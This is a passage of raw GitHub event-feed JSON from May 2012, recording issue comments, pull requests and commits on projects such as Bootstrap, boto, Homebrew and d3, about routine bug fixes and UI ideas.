#10890."}]},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T09:58:44Z","id":"1553903002","actor":{"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T09:27:14Z","body":"Please excuse the crudity of this model... ;) I'm too exhausted to really pretty it up right now, but here's a new mock-up based on a combination of my old one and some of the others I've seen here: http://jsfiddle.net/VEW2K/\n\nA rundown:\n\n* No javascript.\n* No extra tags (just a checkbox and a label).\n* Should degrade gracefully.\n\nI have not tested it in IE or Firefox, and I was not able to get CSS transitions working on the :before and :after pseudo content, so maybe someone else will have better luck. But I think it's cleaner than my old test, and I prefer a non-JS solution personally.","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807584","id":5807584,"user":{"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"login":"thomshouse"}},"action":"created","issue":{"number":1935,"created_at":"2012-02-13T00:05:29Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":39,"body":"Not sure if anyone has mentioned this or not, but it would be cool to have something like this:\r\n\r\nhttp://papermashup.com/demos/ajax-switch/","title":"Create ON/OFF Switch","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/1935","id":3194346,"assignee":null,"milestone":{"number":7,"created_at":"2012-01-09T17:18:56Z","due_on":null,"title":"v2.1.0","creator":{"avatar_url":"https://secure.gravatar.com/avatar/bc4ab438f7a4ce1c406aadc688427f2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bc4ab438f7a4ce1c406aadc688427f2c","url":"https://api.github.com/users/markdotto","id":98681,"login":"markdotto"},"url":"https://api.github.com/repos/twitter/bootstrap/milestones/7","id":71627,"closed_issues":4,"open_issues":15,"description":"","state":"open"},"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/1935","user":{"avatar_url":"https://secure.gravatar.com/avatar/25fb0acc0fc379c2974004bb5d050bc2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25fb0acc0fc379c2974004bb5d050bc2","url":"https://api.github.com/users/adetwiler","id":1124801,"login":"adetwiler"},"labels":[{"name":"feature","url":"https://api.github.com/repos/twitter/bootstrap/labels/feature","color":"4bb14b"}],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:27:16Z","id":"1553896923","actor":{"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"login":"thomshouse"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":3546,"created_at":"2012-05-20T09:00:43Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I have a problem when I integrate the content with jquery \".load\" (a form for example) in a modal window or a single page. All scripts tooltips, popover, datepicker no longer starts?\n\nBy cons scripts work fine in a normal page.\n\nIf I integrate content directly in the tags \"modal-body\" of the modal window, the scripts work perfectly\n\nThe objective is to integrate a form on the fly, in a single modal window, after the click of a button. But once the loaded content such as a datepicker does not work! or the tooltips on a label, ...\n\nhere a test : http://testcode.olvani.net/test2\n\nThank for reply\nOlivier","comments":0,"title":"Problem for load script (tooltips, popover,...) after use jquery .load dynamic content","updated_at":"2012-05-20T09:00:43Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3546","id":4658922,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3546","user":{"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"login":"olvani"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:00:45Z","id":"1553894937","actor":{"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"login":"olvani"}},{"type":"PullRequestEvent","payload":{"number":3545,"pull_request":{"issue_url":"https://github.com/twitter/bootstrap/issues/3545","number":3545,"head":{"repo":{"name":"bootstrap","size":120,"created_at":"2012-05-20T08:48:41Z","has_wiki":true,"clone_url":"https://github.com/pvorb/bootstrap.git","private":false,"watchers":1,"updated_at":"2012-05-20T08:54:22Z","ssh_url":"git@github.com:pvorb/bootstrap.git","fork":true,"url":"https://api.github.com/repos/pvorb/bootstrap","git_url":"git://github.com/pvorb/bootstrap.git","language":"JavaScript","id":4383503,"pushed_at":"2012-05-20T08:54:22Z","svn_url":"https://github.com/pvorb/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":0,"has_issues":false,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":0,"html_url":"https://github.com/pvorb/bootstrap","owner":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"label":"pvorb:patch-1","sha":"faf2866f96513dc1c2775974518d979feb554dbd","ref":"patch-1","user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"merged":false,"created_at":"2012-05-20T08:55:24Z","merged_by":null,"changed_files":1,"comments":0,"body":"Fix for issue #3543","title":"Remove re-declaration of font-fam, font-size, and line-height in p","diff_url":"https://github.com/twitter/bootstrap/pull/3545.diff","updated_at":"2012-05-20T08:55:24Z","additions":0,"_links":{"html":{"href":"https://github.com/twitter/bootstrap/pull/3545"},"self":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545"},"comments":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545/comments"},"issue":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545"},"review_comments":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545/comments"}},"url":"https://api.github.com/repos/twitter/bootstrap/pulls/3545","id":1388338,"patch_url":"https://github.com/twitter/bootstrap/pull/3545.patch","mergeable":null,"merged_at":null,"commits":1,"closed_at":null,"user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"},"deletions":3,"review_comments":0,"html_url":"https://github.com/twitter/bootstrap/pull/3545","state":"open","base":{"repo":{"name":"bootstrap","size":1244,"created_at":"2011-07-29T21:19:00Z","has_wiki":true,"clone_url":"https://github.com/twitter/bootstrap.git","private":false,"watchers":29097,"updated_at":"2012-05-20T08:48:41Z","ssh_url":"git@github.com:twitter/bootstrap.git","fork":false,"url":"https://api.github.com/repos/twitter/bootstrap","git_url":"git://github.com/twitter/bootstrap.git","language":"JavaScript","id":2126244,"pushed_at":"2012-05-18T05:00:54Z","svn_url":"https://github.com/twitter/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":222,"has_issues":true,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":5699,"html_url":"https://github.com/twitter/bootstrap","owner":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}},"label":"twitter:master","sha":"b261f9781bbf31f499cb55c49451dc0c0ad43062","ref":"master","user":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}}},"action":"opened"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:55:26Z","id":"1553894547","actor":{"avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b30a7c139117a36a3f2cc2958942847e","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T08:33:02Z","body":"This should be removed. It's not necessary because of traversing.","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807352","id":5807352,"user":{"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"login":"macx"}},"action":"created","issue":{"number":3543,"created_at":"2012-05-19T08:23:49Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"The attributes `font-family`, `font-size` and `line-height` are set identically for both `` and `

`. What's the rationale for repeating the declaration in `

`? Regards, Christian","title":"Font assignment overdone?","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3543","id":4653303,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3543","user":{"avatar_url":"https://secure.gravatar.com/avatar/04d99189f86d1d269b04876e68092784?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04d99189f86d1d269b04876e68092784","url":"https://api.github.com/users/datenimperator","id":112130,"login":"datenimperator"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:33:04Z","id":"1553892964","actor":{"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"login":"macx"}},{"type":"PushEvent","payload":{"head":"4986f61c9ce00ce792683cce9e47ea1579631155","size":2,"push_id":79397931,"commits":[{"sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","author":{"name":"Bryan Donlan","email":"bdonlan@amazon.com"},"url":"https://api.github.com/repos/boto/boto/commits/9c52a9b0ee98d1dce4a427e8a09307d399fe414d","distinct":true,"message":"Fix infinite loop when listing a large (100+) number of tables in dynamodb"},{"sha":"4986f61c9ce00ce792683cce9e47ea1579631155","author":{"name":"Mitch Garnaat","email":"mitch@garnaat.com"},"url":"https://api.github.com/repos/boto/boto/commits/4986f61c9ce00ce792683cce9e47ea1579631155","distinct":true,"message":"Removing extraneous host param from Layer2 contructor."}],"ref":"refs/heads/develop"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889294","actor":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"}},{"type":"PullRequestEvent","payload":{"number":770,"pull_request":{"issue_url":"https://github.com/boto/boto/issues/770","head":{"repo":{"name":"boto","master_branch":"develop","created_at":"2012-05-19T23:11:59Z","size":120,"has_wiki":true,"clone_url":"https://github.com/bdonlan/boto.git","updated_at":"2012-05-19T23:13:56Z","private":false,"watchers":1,"language":"Python","git_url":"git://github.com/bdonlan/boto.git","ssh_url":"git@github.com:bdonlan/boto.git","fork":true,"url":"https://api.github.com/repos/bdonlan/boto","id":4381487,"pushed_at":"2012-05-19T23:13:56Z","svn_url":"https://github.com/bdonlan/boto","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://boto.readthedocs.org/","forks":0,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/bdonlan/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"label":"bdonlan:develop","sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"number":770,"created_at":"2012-05-19T23:15:06Z","changed_files":1,"merged_by":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"},"merged":true,"body":"The current code loops when there are more tables, but continues requesting a list from the start, leading to an infinite loop.","comments":0,"title":"Fix infinite loop when listing a large (100+) number of tables in dynamodb","updated_at":"2012-05-20T07:40:29Z","additions":7,"diff_url":"https://github.com/boto/boto/pull/770.diff","_links":{"html":{"href":"https://github.com/boto/boto/pull/770"},"self":{"href":"https://api.github.com/repos/boto/boto/pulls/770"},"comments":{"href":"https://api.github.com/repos/boto/boto/issues/770/comments"},"issue":{"href":"https://api.github.com/repos/boto/boto/issues/770"},"review_comments":{"href":"https://api.github.com/repos/boto/boto/pulls/770/comments"}},"url":"https://api.github.com/repos/boto/boto/pulls/770","id":1387801,"patch_url":"https://github.com/boto/boto/pull/770.patch","mergeable":null,"merged_at":"2012-05-20T07:40:29Z","closed_at":"2012-05-20T07:40:29Z","commits":1,"html_url":"https://github.com/boto/boto/pull/770","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"},"review_comments":0,"deletions":2,"state":"closed","base":{"repo":{"name":"boto","master_branch":"develop","created_at":"2010-07-12T19:15:33Z","size":4183,"has_wiki":true,"clone_url":"https://github.com/boto/boto.git","updated_at":"2012-05-20T07:40:28Z","private":false,"watchers":1519,"language":"Python","git_url":"git://github.com/boto/boto.git","ssh_url":"git@github.com:boto/boto.git","fork":false,"url":"https://api.github.com/repos/boto/boto","id":771016,"pushed_at":"2012-05-20T07:40:27Z","svn_url":"https://github.com/boto/boto","open_issues":131,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://boto.readthedocs.org/","forks":395,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/boto/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}},"label":"boto:develop","sha":"0bd4d8b270fd5796e2e8b570f8703410bdd02820","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}}},"action":"closed"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889293","actor":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T07:39:27Z","body":"Good idea although I wonder if /Versions/1.8/ might be even better considering we die on our arse with 1.9.","updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807134","id":5807134,"user":{"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"login":"mikemcquaid"}},"action":"created","issue":{"number":12333,"created_at":"2012-05-20T01:39:12Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12333.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12333.patch","html_url":"https://github.com/mxcl/homebrew/pull/12333"},"body":"re: #12009, this commit replaces all usages of /usr/bin/ruby with the full Framework path, which is *hopefully* less likely to be altered.\n\nSince we're no longer dealing with a default ruby path which is a symlink, I simplified the `brew --config` checks for the system ruby.","title":"Replace /usr/bin/ruby with full Framework path","comments":2,"updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12333","id":4657778,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12333","user":{"avatar_url":"https://secure.gravatar.com/avatar/f5f2035f07c635d24c62cf211d37f3d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f5f2035f07c635d24c62cf211d37f3d4","url":"https://api.github.com/users/mistydemeo","id":780485,"login":"mistydemeo"},"labels":[],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T07:39:29Z","id":"1553889227","actor":{"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"login":"mikemcquaid"}},{"type":"PullRequestEvent","payload":{"number":648,"pull_request":{"issue_url":"https://github.com/mbostock/d3/issues/648","head":{"repo":{"name":"d3","created_at":"2012-05-20T05:25:26Z","size":208,"has_wiki":true,"clone_url":"https://github.com/eghm/d3.git","updated_at":"2012-05-20T05:44:03Z","private":false,"watchers":1,"git_url":"git://github.com/eghm/d3.git","ssh_url":"git@github.com:eghm/d3.git","fork":true,"language":"JavaScript","url":"https://api.github.com/repos/eghm/d3","id":4382862,"pushed_at":"2012-05-20T05:44:02Z","svn_url":"https://github.com/eghm/d3","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://d3js.org","forks":0,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/eghm/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"label":"eghm:master","sha":"4501a5e68ad31f3ea85983188f1a75906f3afd6d","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"number":648,"created_at":"2012-05-20T05:47:07Z","changed_files":1,"merged_by":null,"merged":false,"body":"An undefined import causes a fatal error in the bundle-radial demo. This commit avoids the error, the ui will go on to draw a line to a blank node. To recreate initial undefined error add a un-\"name\"ed node to one of the imports in examples/data/flare-imports.\n\nThanks for sharing such an awesome tool.\n","comments":0,"title":"add start and end parent != undefined in d3_layout_bundlePath while","updated_at":"2012-05-20T05:47:07Z","additions":2,"diff_url":"https://github.com/mbostock/d3/pull/648.diff","_links":{"html":{"href":"https://github.com/mbostock/d3/pull/648"},"self":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648"},"comments":{"href":"https://api.github.com/repos/mbostock/d3/issues/648/comments"},"issue":{"href":"https://api.github.com/repos/mbostock/d3/issues/648"},"review_comments":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648/comments"}},"url":"https://api.github.com/repos/mbostock/d3/pulls/648","id":1388185,"patch_url":"https://github.com/mbostock/d3/pull/648.patch","mergeable":null,"merged_at":null,"closed_at":null,"commits":1,"html_url":"https://github.com/mbostock/d3/pull/648","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"},"review_comments":0,"deletions":2,"state":"open","base":{"repo":{"name":"d3","created_at":"2010-09-27T17:22:42Z","size":3268,"has_wiki":true,"clone_url":"https://github.com/mbostock/d3.git","updated_at":"2012-05-20T05:25:26Z","private":false,"watchers":5893,"git_url":"git://github.com/mbostock/d3.git","ssh_url":"git@github.com:mbostock/d3.git","fork":false,"language":"JavaScript","url":"https://api.github.com/repos/mbostock/d3","id":943149,"pushed_at":"2012-05-17T19:11:22Z","svn_url":"https://github.com/mbostock/d3","open_issues":110,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://d3js.org","forks":670,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/mbostock/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}},"label":"mbostock:master","sha":"dd2a424f2bdb8fae1dab5ac27168f5bba186a0c4","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}}},"action":"opened"},"public":true,"repo":{"url":"https://api.github.com/repos/mbostock/d3","id":943149,"name":"mbostock/d3"},"created_at":"2012-05-20T05:47:09Z","id":"1553878057","actor":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},{"type":"PushEvent","payload":{"head":"389347c92a590c6e6165a53ae054e48ca6a23db9","size":1,"push_id":79392783,"commits":[{"sha":"389347c92a590c6e6165a53ae054e48ca6a23db9","author":{"name":"Nick Stenning","email":"nick@whiteink.com"},"url":"https://api.github.com/repos/mxcl/homebrew/commits/389347c92a590c6e6165a53ae054e48ca6a23db9","distinct":true,"message":"mu: make emacs support optional\n\nCloses #12306.\n\nSigned-off-by: Jack Nagel "}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:20:38Z","id":"1553874168","actor":{"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"login":"jacknagel"}},{"type":"PullRequestEvent","payload":{"number":12306,"pull_request":{"issue_url":"https://github.com/mxcl/homebrew/issues/12306","head":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2011-10-03T12:09:31Z","size":188,"has_wiki":true,"clone_url":"https://github.com/nickstenning/homebrew.git","updated_at":"2012-05-19T21:24:29Z","private":false,"watchers":1,"git_url":"git://github.com/nickstenning/homebrew.git","ssh_url":"git@github.com:nickstenning/homebrew.git","fork":true,"url":"https://api.github.com/repos/nickstenning/homebrew","language":"Ruby","id":2504318,"pushed_at":"2012-05-19T21:24:29Z","svn_url":"https://github.com/nickstenning/homebrew","mirror_url":null,"open_issues":0,"has_downloads":false,"has_issues":false,"homepage":"http://mxcl.github.com/homebrew","forks":0,"description":"The missing package manager for OS 